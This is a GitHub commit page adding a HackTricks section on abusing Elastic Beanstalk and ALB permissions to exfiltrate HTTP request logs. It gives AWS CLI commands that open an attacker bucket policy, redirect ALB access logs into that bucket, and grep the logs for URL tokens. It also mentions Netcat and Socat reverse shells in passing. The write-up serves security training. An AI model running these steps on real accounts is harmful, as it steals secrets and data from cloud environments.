Skip to content

Commit 72f0f71

Browse files
authored
Merge pull request #287 from JaimePolop/master
a
2 parents e839fdd + 51f602b commit 72f0f71

1 file changed

Lines changed: 91 additions & 1 deletion

File tree

  • src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md

Lines changed: 91 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -182,7 +182,97 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
182182
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
183183
```
184184

185-
{{#include ../../../../banners/hacktricks-training.md}}
185+
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` to enable ALB access logs exfiltration
186+
187+
If an attacker can **enumerate** an Elastic Beanstalk **web** environment, **update** it, and also **control the policy of an S3 bucket** they own, they may be able to **exfiltrate HTTP traffic** by enabling **ALB access logs** and redirecting them to that bucket.
188+
189+
> [!NOTE]
190+
> This technique also needs the ability to **modify the destination bucket policy** so the ALB log delivery service can write the logs there.
186191
192+
Prepare an **attacker-controlled bucket** so the ALB log delivery service can write there:
187193

194+
```bash
195+
ENV_NAME=<environment-name>
196+
LOG_BUCKET=<attacker-bucket>
197+
LOG_PREFIX=<prefix>
198+
cat > /tmp/alb-log-policy.json <<EOF
199+
{
200+
"Version": "2012-10-17",
201+
"Statement": [
202+
{
203+
"Sid": "AllowALBLogDeliveryPut",
204+
"Effect": "Allow",
205+
"Principal": {
206+
"Service": [
207+
"logdelivery.elasticloadbalancing.amazonaws.com",
208+
"delivery.logs.amazonaws.com"
209+
]
210+
},
211+
"Action": "s3:PutObject",
212+
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
213+
},
214+
{
215+
"Sid": "AllowALBLogDeliveryAclCheck",
216+
"Effect": "Allow",
217+
"Principal": {
218+
"Service": [
219+
"logdelivery.elasticloadbalancing.amazonaws.com",
220+
"delivery.logs.amazonaws.com"
221+
]
222+
},
223+
"Action": [
224+
"s3:GetBucketAcl",
225+
"s3:ListBucket"
226+
],
227+
"Resource": "arn:aws:s3:::$LOG_BUCKET"
228+
}
229+
]
230+
}
231+
EOF
188232

233+
aws s3api put-bucket-policy \
234+
--bucket "$LOG_BUCKET" \
235+
--policy file:///tmp/alb-log-policy.json \
236+
--profile "$PROFILE"
237+
```
238+
239+
Then enable the ALB access logs:
240+
241+
```bash
242+
aws elbv2 modify-load-balancer-attributes \
243+
--load-balancer-arn "$LB_ARN" \
244+
--attributes \
245+
Key=access_logs.s3.enabled,Value=true \
246+
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
247+
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
248+
--region us-east-1 \
249+
--profile "$PROFILE"
250+
```
251+
252+
After that, wait for the ALB to batch and deliver the logs:
253+
254+
```bash
255+
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
256+
```
257+
258+
Finally, download the logs and grep for interesting query strings:
259+
260+
```bash
261+
mkdir -p /tmp/lab2-logs
262+
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
263+
/tmp/lab2-logs \
264+
--recursive \
265+
--profile "$PROFILE"
266+
267+
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
268+
```
269+
270+
The **request line** inside the ALB logs may contain values such as **`?token=<FLAG>`** if sensitive data is being sent in the URL.
271+
272+
**Impact**:
273+
274+
- Continuous exfiltration of HTTP request metadata through a logging plane controlled by the attacker
275+
- Exposure of secrets present in the URL query string
276+
- A stealthier exfiltration path because the traffic is produced by legitimate application components and exported by AWS-managed logging
277+
278+
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)